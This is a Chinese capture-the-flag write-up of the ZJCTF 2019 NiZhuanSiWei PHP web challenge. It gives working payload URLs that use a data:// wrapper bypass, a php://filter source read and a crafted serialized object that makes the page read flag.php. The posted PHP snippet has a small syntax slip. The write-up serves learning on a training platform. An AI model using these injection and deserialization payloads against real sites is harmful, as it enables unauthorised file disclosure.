首页 > 编程语言 > 详细

[原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)

时间:2020-03-03 10:36:03      阅读:166      评论:0      收藏:0      [点我收藏+]

 简介

 原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/

 考察知识点:反序列化、PHP伪协议、数组绕过

 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

 过程

打开页面看到源码先审计

技术分享图片

大致分析flag在flag.php里面 先想办法绕过这些限制到达 文件包含那一块

绕过file_get_contents()  

将welcome to the zjctf base64编码 使用PHP伪协议data读取数据流 可以成功绕过file_get_contents

http://e188408b-f98c-4a28-bd9d-537acd229427.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

 绕过正则表达式 

使用数组即可成功绕过(一开始我的想法是直接包含flag.php 然后通过echo输出$flag这个变量 这个想法不对)

http://febc72fc-9ce7-4ab1-8887-8864639921a3.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file[]=flag.php

读取useless.php文件

看到注释有个//uselees.php  最后看WP读取的 (我服了自己了 明明可以通过PHP伪协议来读取源码的)  但是数组绕过正则经过测试 伪协议不行所以flag.php无法读取  

http://febc72fc-9ce7-4ab1-8887-8864639921a3.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

构造序列化获取flag.php文件

<?php  
class Flag{  //flag.php  
    public $file=flag.php; //注意这里 我们这里赋值了flag.php文件  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  
print_r(serialize(new Flag()));
//得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终payload:

http://febc72fc-9ce7-4ab1-8887-8864639921a3.node3.buuoj.cn/?text=data://text/plain;base64,
d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

技术分享图片

 

参考学习:https://www.cnblogs.com/gaonuoqi/p/12255777.html

[原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)

原文:https://www.cnblogs.com/xhds/p/12400108.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!